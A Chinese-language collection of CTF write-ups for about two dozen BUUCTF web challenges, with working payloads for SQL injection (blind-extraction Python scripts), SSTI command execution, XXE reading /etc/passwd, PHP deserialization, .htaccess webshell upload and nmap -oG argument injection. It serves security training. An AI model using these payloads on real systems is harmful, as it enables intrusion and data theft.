Buuctf -web wp汇总(二)

Buuctf -web wp汇总(一):链接
Buuctf -web wp汇总(二):链接
Buuctf -web wp汇总(三):链接

文章目录

      • [ASIS 2019]Unicorn shop
      • [网鼎杯 2020 青龙组]AreUSerialz
      • [GKCTF2020]cve版签到
      • [BJDCTF2020]The mystery of ip
      • [BJDCTF2020]ZJCTF,不过如此、
      • [BJDCTF 2nd]简单注入
      • [安洵杯 2019]easy_serialize_php
      • [BJDCTF2020]Cookie is so stable
      • [MRCTF2020]Ez_bypass
      • [GKCTF2020]老八小超市儿
      • [极客大挑战 2019]FinalSQL
      • [BJDCTF 2nd]Schrödinger
      • [GXYCTF2019]BabyUpload
      • [网鼎杯 2020 朱雀组]phpweb
      • [GWCTF 2019]枯燥的抽奖
      • [BJDCTF2020]EasySearch
      • [NCTF2019]Fake XML cookbook
      • [V&N2020 公开赛]HappyCTFd
      • [BJDCTF 2nd]xss之光
      • [CISCN2019 总决赛 Day2 Web1]Easyweb
      • [MRCTF2020]PYWebsite
      • [FBCTF2019]RCEService
      • [网鼎杯 2020 朱雀组]Nmap
      • [NPUCTF2020]ReadlezPHP

[ASIS 2019]Unicorn shop

要点:Unicode安全设计

题目要求,当我们买下商品4,获得flag(买其他商品会提示,商品错误),但它只允许输入一个字符,而商品4要求价格为1337.0 。这里利用的就是Unicode的设计漏洞问题,该网站是UTF-8编码。给一个Unicode>1337的值就可以获得flag,可以通过网站获取一些特殊字符ↂ(查询thousand关键字)
Buuctf -web wp汇总(二)_第1张图片

参考链接:
浅谈Unicode设计的安全性
Unicode与UTF-8的区别
Unicode编码表

[网鼎杯 2020 青龙组]AreUSerialz

要点:反序列化

 <?php
    class FileHandler {
        public $op=2;
        public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    }
    $wdbctf=new FileHandler();
    echo serialize($wdbctf);
    
    ?>

[GKCTF2020]cve版签到

要点:CVE-2020-7066( SSRF漏洞) 参考:https://www.anquanke.com/vul/id/1966253
Buuctf -web wp汇总(二)_第2张图片
get_headers()函数存在安全漏洞,与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则 URL将被静默地截断。 可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。造成信息泄露。

利用方法 :%00截断
Buuctf -web wp汇总(二)_第3张图片

进入题目,查看其http头 可以发现提示 flag在localhost中
Buuctf -web wp汇总(二)_第4张图片
根据cve漏洞的利用条件构造payload:?url=http://127.0.0.1%00.ctfhub.com
提示ip最后要以123结尾
Buuctf -web wp汇总(二)_第5张图片
构造获取flag:?url=http://127.0.0.123%00.ctfhub.com

[BJDCTF2020]The mystery of ip

要点:模板注入
访问题目,题目给了个 Your IP is:xxx,在源码中有写注释:Do you know why i know your ip? ,考虑一般用户IP信息由http头X-Forwarded-For声明用户访问服务器的 IP 地址,利用burp抓包尝试修改,发现允许修改。
Buuctf -web wp汇总(二)_第6张图片
进行测试一波发现存在模板注入(SSTI)
Buuctf -web wp汇总(二)_第7张图片
构造xxf信息获取flag

X-Forwarded-For:127.0.0.1{{system("ls /")}}
X-Forwarded-For:127.0.0.1{{system("cat /flag")}}

Buuctf -web wp汇总(二)_第8张图片

[BJDCTF2020]ZJCTF,不过如此、

要点:PHP伪协议 replace
访问题目 ,提供了源码
大概思路:判断存在$text 且内容为 I hava a dream 执行文件包含include命令
Buuctf -web wp汇总(二)_第9张图片
绕过:利用php://input 或者 data://伪协议绕过第一个if,再通过php://filter读取next.php的文件源码
构造payload:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

获取到的next.php源码为
Buuctf -web wp汇总(二)_第10张图片
preg_replace的/e模式下有代码执行漏洞,将替换的结果以php代码执行(该漏洞存在与PHP5.5版本以下),具体的解释可以看看:深入研究preg_replace与代码执行

 preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
 在 subject 中搜索 pattern 模式的匹配项并替换为 replacement 。

构造RCE payload
(1)利用源码给的getFlag函数

/next.php?\S*=${getflag()}&cmd=show_source("/flag");
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

(2)通过构造post传参

next.php?\S*=${eval($_POST[test])}
POST:
test=system("cat /flag");

[BJDCTF 2nd]简单注入

要点:SQL注入

访问题目,一个登录框
Buuctf -web wp汇总(二)_第11张图片
访问robots.txt获取hint信息
Buuctf -web wp汇总(二)_第12张图片
既然是注入题,先进行一波fuzz测试,看看有没有黑名单,大部分被过滤
过滤字符

union , select , = , ' , & , && , - ,  " , and 等

Buuctf -web wp汇总(二)_第13张图片
方法1:\ 转义单引号 逃逸
例:

传入admin\ 和 or/**/length(database())>0#会回显stronger字样

传入admin\ 和 or/**/length(database())<0#会回显girl friend字样

写脚本进行盲注获取用户名和密码


import requests
url = "http://94ec392f-66af-49b4-8652-7bdf81fd95d0.node3.buuoj.cn/index.php"

data = {"username":"admin\\","password":""}
result = ""
i = 0

while( True ):
	i = i + 1
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
		payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)

		data['password'] = payload
		r = requests.post(url,data=data)

		if "stronger" in r.text :
			head = mid + 1
		else:
			tail = mid

	last = result

	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

脚本跑出用户名和密码 登录获取flag

方法2:正则表达式盲注(先放着后期学习)
参考文章:https://www.freesion.com/article/2367234678/

[安洵杯 2019]easy_serialize_php

要点:反序列化字符逃逸,extract()变量覆盖

完整代码



$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo 'source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

进入题目
首先源码提示,phpinfo中可能有东西,
Buuctf -web wp汇总(二)_第14张图片
可以看到自动包含了一个文件,我们的目的就是去访问它,但直接访问是打不开,回到源码有函数file_get_contents()可以读取文件内容。
Buuctf -web wp汇总(二)_第15张图片
$function可以通过 $f 直接赋值,现在我们就要base64_decode($userinfo[‘img’])=d0g3_f1ag.php。也就是要求$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==。而$userinfo又是通过$serialize_info反序列化来的。$serialize_info又是通过session序列化之后再过滤得来的。
Buuctf -web wp汇总(二)_第16张图片
重新回到源码,img是通过传值的,但这里问题来了,假设是我们自己传参数值,只能是sha1加密后的结果,而如何去构造出我们想要的img就是这题的重点了(反序列化字符串逃逸)

反序列化的对象逃逸问题可以分成两类:
(前提:在进行序列化后会进行一波字符串替换的操作,然后再进行反序列化才会出现字符串逃逸的问题)

  • 第一种:关键词数增加
    例:admin->password ,字符串长度由5变成了8
    该方法比较好构造,直接构造多个关键词,这样就能逃出几个字符
  • 第二种:关键词数减少
    例:过滤黑名单关键词,字符串长度就会变短 例如本题
    该方法可以是通过键逃逸值逃逸

(1)键逃逸
需要两个连续的键值对(为方便 命名为AB,A->值 B->值),通过字符串替换,过滤掉A的值,于是B的键就会覆盖掉A的值,这样B的值就出现字符串逃逸,单独作为一个键值对。
例:参考本题代码

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

序列化后并进行过滤后的结果为:

"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

可以看到通过将flag过滤掉后 ,本来有6个flag字符长度为24,现在为空,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,即读取";s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

而后面多出来的第四个第五个序列化字符串并不会影响原来的三个,因此产生了字符串逃逸。并且这时候img的值对于我们来说是可控的
(2)值逃逸
只需要一个键值,我们直接构造会被过滤的键,当键被过滤后,值得一部分会被充当键,再一部分充当值,最后剩下得一部分被逃逸出去成为单独的键值对
例:参考本题代码

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

序列化后并进行过滤后的结果为:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

反序列化后的数组结果为

array(2){
	 ["";s:48:"] => string(1)  "1" 
	 ["img"] => string(20) "ZDBnM19mbGxsbGxsYWc=")
	 }

大概的思路知道后构造字符串逃逸
构造payload:url/index.php?f=show_image
Post参数:_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

查看源码获取提示:
在这里插入图片描述
将img参数换成的d0g3_fllllllag的base64加密 获取flag

_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

[BJDCTF2020]Cookie is so stable

要点:模板注入(Twig)
进入题目 提示查看cookie
简单测试发现user处存在模板注入
Buuctf -web wp汇总(二)_第17张图片
再尝试注入判断具体的模板

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig

构造payload任意命令执行获取flag(看了大部分的wp都是直接cat \flag 但问题是我们如何知道是这个文件 我还是不太清楚 system(“ls”)无法执行 求大佬解释 还是太菜了)

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};

[MRCTF2020]Ez_bypass

要点:MD5绕过 函数绕过

F12获取源码信息
Buuctf -web wp汇总(二)_第18张图片
第一层:MD5碰撞
利用数组绕过:构造payload:?id[]=1&&gg[]=2
第二层:is_numeric函数绕过
PHP弱类型或%00截断绕过 POST参数:passwd=1234567%00
获取flag

[GKCTF2020]老八小超市儿

要点:模板逻辑漏洞

进入是一个购物网站,在网上我们可以发现是个模板( ShopXO商场),百度搜索,ShopXO商场漏洞,可以找到利用方式,具体可参考:渗透测试|shopxo后台全版本获取shell复现(后台的登录用户名和密码都是默认的,可以在网上找ShopXO安装教程获取)
PS:在将webshell放入文件的过程中,不能使用解压->放入->压缩的步骤,会导致后续操作无法成功(我也不知道为什么),而是直接打开压缩文件,将webshell文件添加进去。
第二步:上传马后,使用蚁剑连接
Buuctf -web wp汇总(二)_第19张图片
进入根目录可以发现一个flag文件,打开发现是假的,但给了提示,flag在root 但发现没有权限进入。
Buuctf -web wp汇总(二)_第20张图片
然后查看红色的auto.sh文件,发现每隔60秒执行python文件
Buuctf -web wp汇总(二)_第21张图片
查看python代码 ,发现这具有访问root文件的权限,利用该python文件修改代码,可以去读取/root/flag并写入flag.hint文件
Buuctf -web wp汇总(二)_第22张图片
获取flag
Buuctf -web wp汇总(二)_第23张图片

[极客大挑战 2019]FinalSQL

要点:异或注入 1^1^1=1,1^0^1=0
根据题目提示盲注,随便点几下找到注入点,简单的fuzz测试,发现基本SQL注入都被过滤
这里使用异或判断进行SQL盲注: 1^1^1=1,1^0^1=0
利用回显的不同进行判断,构造payload:id=1^(ascii(substr((select(database())),1,1)>)1)^1
Buuctf -web wp汇总(二)_第24张图片
当构造的sql语句判断成功时返回1 ->1^1^1=1->id=1->放回…others~~ 不成功放回error
Buuctf -web wp汇总(二)_第25张图片
知道大体思路直接用脚本爆破

import requests
import time

host = "http://9dad64b5-0b3d-4f1c-9485-38186169bb6d.node3.buuoj.cn/search.php?"

def getDatabase():  #获取数据库名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("database is -> "+ans)

def getTable(): #获取表名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("table is -> "+ans)

def getColumn(): #获取列名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("column is -> "+ans)

def dumpTable():#脱裤
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)where(id=9)),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("dumpTable is -> "+ans)
if(__name__=="__main__"):
    #getDatabase()  #geek
    #getTable()     #F1naI1y,Flaaaaag
    #getColumn()    # id,username,password  |   id fl4gawsl
    dumpTable()

flag在F1naI1y表中的password字段 id=8(藏的有点深)

[BJDCTF 2nd]Schrödinger

要点:时间戳
进入题目,直接谷歌翻译
Buuctf -web wp汇总(二)_第26张图片
大致是在列表单中提交一个URL,页面将会尝试爆破,爆破时间越久成功率越高。
查看源码是否有提示信息,发现有test.php,尝试访问
Buuctf -web wp汇总(二)_第27张图片
Buuctf -web wp汇总(二)_第28张图片
提示我们在admin的密码中留了东西。结合刚刚主页面的爆破,应该是利用主页面将admin的密码爆破出来,于是,将这个url填入主页面的表单中。然后check,但提示爆破失败。
重新测试,利用burp抓包看看内容,发现有个参数,进行base64解码后判断应该是时间戳,利用在线工具转换,发现是当前的时间
Buuctf -web wp汇总(二)_第29张图片
Buuctf -web wp汇总(二)_第30张图片
猜测修改时间戳会使成功率改变,直接改成0 ,提示爆破成功
获得内容,是B站的AV号 后面的依旧是时间戳 ,找到视频并找到对应的时间戳的评论获得flag(暴打出题人)
Buuctf -web wp汇总(二)_第31张图片

[GXYCTF2019]BabyUpload

要点:文件上传漏洞(.htaccess文件解析、文件类型检测绕过)

访问,是一个上传题,尝试上传php文件显示,“后缀名不能有ph”直接禁掉了所有可以直接执行php的后缀名,再进行简单测试后发现只能上传jpg文件
在这里插入图片描述
考虑需要利用.user.ini或.htaccess文件来将其他文件解析成PHP文件
看一下中间件是什么:(访问不存在的文件)
Buuctf -web wp汇总(二)_第32张图片
是Apache那么上传一个.htaccess文件试试,

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

.htaccess源码如下:(将 jpg文件解析成php文件)

<FilesMatch "jpg"> 
    SetHandler application/x-httpd-php
</FilesMatch>

直接上传会报错,猜测是 文件类型校验(MIME验证)只检测content-type类型,修改成image/jpeg后上传成功。
Buuctf -web wp汇总(二)_第33张图片
制作图片马并上传利用蚁剑连接(这里似乎对文件内容也进行了关键字的检测 不能存在可以上传,flag存在于根目录

[网鼎杯 2020 朱雀组]phpweb

要点:逻辑漏洞 命令执行

进入题目,应该是显示一个时间
Buuctf -web wp汇总(二)_第34张图片
抓包发现参数
Buuctf -web wp汇总(二)_第35张图片
date是一个函数,后面的p应该是它的参数

猜测使用了call_user_func(函数名,参数)函数

读取源码:func=file_get_contents&p=index.php
返回的部分代码


    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);  //第一个参数作为回调函数调用 其余被当做参数使用
        $a= gettype($result); //获取变量类型
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

基本的系统命令执行函数都被过滤,可以使用反序列化加url编码绕过
反序列化代码:

class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
$a = new Test();
#$a->p = 'ls ../../../';
#$a->p ="find / -name 'flag*'";
$a->p = 'cat /tmp/flagoefiu4r93';
$a->func = 'system';
print_r(urlencode(serialize($a)));   

构造的payload获取flag:

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

方法二:命名空间绕过黑名单
payload:func=\exec&p=ls
Buuctf -web wp汇总(二)_第36张图片
读取flag:
payload:func=\exec&p=cat $(find / -name flag*)

[GWCTF 2019]枯燥的抽奖

要点:PHP伪随机数伪造 种子爆破(工具)

进入题目,是个猜测字符串的题目
Buuctf -web wp汇总(二)_第37张图片
查看源码中的js,提示check.php

VdHtfC2mqH

 
#这不是抽奖程序的源代码!不许看! 
header("Content-Type: text/html;charset=utf-8"); 
session_start(); 
if(!isset($_SESSION['seed'])){ 
$_SESSION['seed']=rand(0,999999999); 
} 

#字符串生成方式
mt_srand($_SESSION['seed']); 
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
$str=''; 
$len1=20; 
for ( $i = 0; $i < $len1; $i++ ){ 
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);        
} 
$str_show = substr($str, 0, 10); 
echo "

".$str_show."

"
; if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "

抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}

"
; } else{ echo "

没抽中哦,再试试吧

"
; } } show_source("check.php");

看源码中字符串生成的方式,函数mt_srand()可以确定这里生成的数是PHP伪随机数


PHP伪随机数
相关函数:mt_scrand()、mt_rand()
介绍:mt_scrand(seed),通过分发seed种子,由mt_rand()生成随机数。

但伪随机数的漏洞,存在可预测性,生成伪随机数是线性的,你可以理解为y=ax,x就是种子,知道种子和一组伪随机数就可以推y(伪随机数了)

利用脚本

知道种子->确定你伪随机数的序列。
知道随机数序列->确定种子。


解题
(1)利用脚本将部分的伪随机数转换成php_mt_seed可以识别的数据

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' #字母表
str2='hciEv8D9df'  #密匙
str3 = str1[::-1]
length = len(str2) #区间长度
res = ''
for i in range(len(str2)): #遍历密钥,确定当前字符在密钥的顺序
    for j in range(len(str1)): #遍历字母表,确定当前字符在字母表的顺序
        if str2[i] == str1[j]:
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break

print(res)

(2) 使用php_mt_seed爆破出伪随机数(seed)和php版本

./php_mt_seed  可识别数据

Buuctf -web wp汇总(二)_第38张图片
(3)通过seed获取伪随机数


将获得的字符串填入获取flag

[BJDCTF2020]EasySearch

要点: SSI注入
扫描一下目录,发现.swp备份文件源码泄露,访问获取源码


	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            

Hello,'.$_POST['username'].'

*** ***'
; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo ""; }else { *** } *** ?>

简单的代码审计,当substr(md5($password'),0,6)= '6d0bc1'即可登录成功,并在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。
password的值可直接利用脚本爆破
Buuctf -web wp汇总(二)_第39张图片
对登录过程进行抓包可以发现生成的shtml文件的路径
Buuctf -web wp汇总(二)_第40张图片
访问该路径 显示了用户名,时间和当前访客IP,这部分的动态输出使用的应该是SSI,猜测存在SSI注入
Buuctf -web wp汇总(二)_第41张图片
利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。

(SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于
CGI,用于动态页面的指令。SSI 注入允许远程在 Web
应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

输入payload:登录,访问network处的url
Buuctf -web wp汇总(二)_第42张图片
访问返回包header头中的url,可以获得flag文件,回到登录输入payload:执行命令获取flag
Buuctf -web wp汇总(二)_第43张图片
资料参考:服务器端包含注入SSI分析总结

[NCTF2019]Fake XML cookbook

要点:XXE

题目提示XML,可知为XXE攻击,原理参考https://www.freebuf.com/vuls/175451.html

简要来讲就是客户端向服务器发送了XML数据,这个数据能被我们控制,这样我们就可以增加一个恶意的外部实体,实现攻击

抓包,很明显是一个XML语句
Buuctf -web wp汇总(二)_第44张图片
自定义的恶意实体,读取/etc/passwd文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

Buuctf -web wp汇总(二)_第45张图片
通常情况下flag文件的位置一般就根目录和var/www/html目录之下 或者是其父目录之下。存在的形式一般为flag flag.txt flag.php

读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

[V&N2020 公开赛]HappyCTFd

要点:逻辑漏洞 CVE-2020-7245

进入是一个CTF平台模板,只存在一个admin用户
思路:
(1)注册一个带空格的admin用户
(2)登录成功后再登出
(3)进行忘记密码,在邮箱的新链接修改密码。
(4)使用admin用户和更改后的密码以管理员的身份登录成功
PS:需要用buu的内网邮箱
在Admin Panel =>Challenges页面找到,下载文件获得flag
Buuctf -web wp汇总(二)_第46张图片

[BJDCTF 2nd]xss之光

要点:git泄露、PHP原生类反序列化

进行路径扫描发现存在.git源码泄露,下载获得index的源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
?>

提供GET参数,进行了反序列化,但没有提供具体类的情况下,我们可以进行原生类反序列化,参考资料:反序列化之PHP原生类的利用

根据源码有个echo 最好是对有__toString()方法的类进行反序列化,在__toString()原生类反序列化中,常用的是Error和Exception类,但是Error是php7专有,用查看看了下发现题目环境是php5:

所以用Exception反序列化,要注意的是它反序列化只能xss

本地构造payload获得恶意的序列化值

<?php
    $a = serialize(new Exception(""));
    echo urlencode($a);
    ?>

将获得的值传入题目在url地址中直接获取到flag

[CISCN2019 总决赛 Day2 Web1]Easyweb

要点:sql注入,文件上传(短标签绕过PHP检测)

通过查看robots.txt, 获得image.php的源码


include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);    #在预定义字符前添加反斜杠:
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id); #字符串替换
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

大致猜测需要sql注入
这里单引号被过滤,由于存在转义函数addslashes以及\0 '等也被过滤,构造payload:

url/image.php?id=\0'&path= or 1=1%23

即可,后端拼接后端sql语句为select * from images where id='\' or path=' or 1=1#

成功绕过where条件
已知sql的利用 直接写脚本爆破出账号和密码即可

?id=\\0'&path= or ascii(substr((select password from users),1,1))>1%23"

获得账号密码登陆后是一个上传文件界面


文件上传部分:
后端代码应该做了过滤,只能无法上传php文件,先简单上传一个jpg文件。

上传成功后,查看返回的地址,可以发现只将用户和上传文件名存入日志信息

构造带有一句话木马的文件名传入,但会对文件名进行检测,使用PHP短标签绕过,即当short_open_tag=on时,可以使用输出变量

在这里插入图片描述
在这里插入图片描述
蚁剑连接,获取flag

[MRCTF2020]PYWebsite

要点:逻辑漏洞

进入题目访问源码
前端进行验证 当我们传入正确的值后跳转到flag.php
Buuctf -web wp汇总(二)_第47张图片
尝试直接访问
Buuctf -web wp汇总(二)_第48张图片

看到IP,猜想可能要本地访问,添加X-Forwarded-For头绕过 X-Forwarded-For: 127.0.0.1 获得flag

[FBCTF2019]RCEService

要点:preg_match()正则匹配绕过
需要用json的格式进行输入
在这里插入图片描述
输入 {“cmd”:“ls”},只有一个index,php,但无法使用cat 读取

这题是脸书的ctf题目,比赛给了源码,先知社区

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected

'
; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'
; } else { echo 'Attempting to run command:
'
; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'
; } } ?>

存在过滤,需要绕过preg_match()正则匹配

方法一:换行绕过

preg_match一般只会匹配第一行,可以用多行进行绕过,构造payload:

{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

Ps:源代码:putenv(‘PATH=/home/rceservice/jail’);,jail应用于当前环境

方法二:回溯溢出绕过
原题是用POST传参,在这里记录一下原题的脚本,因为复现是用GET传参,所以会导致414报错

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。

RCE脚本

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

[网鼎杯 2020 朱雀组]Nmap

要点:nmap命令行参数注入

访问题目,发现我们可以输入url,经过nmap扫描后会返回出结果,这里引入nmap命令中的一个参数
Buuctf -web wp汇总(二)_第49张图片

-oG #可以实现将命令和结果写到文件

源码大概的构造:

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

我们可以通过这种思路,拼接单引号,达到控制参数的目的,从而将我们构造的shell写入文件中
构造payload:(因为存在黑名单,过滤了php,使用短标签和phtml绕过)

'  -oG hack.phtml '

执行成功后 访问hack.phtml Post值:hack=phpinfo()
Buuctf -web wp汇总(二)_第50张图片
蚁剑连接获取flag

[NPUCTF2020]ReadlezPHP

要点:PHP动态函数 反序列化

进入题目,查看源码
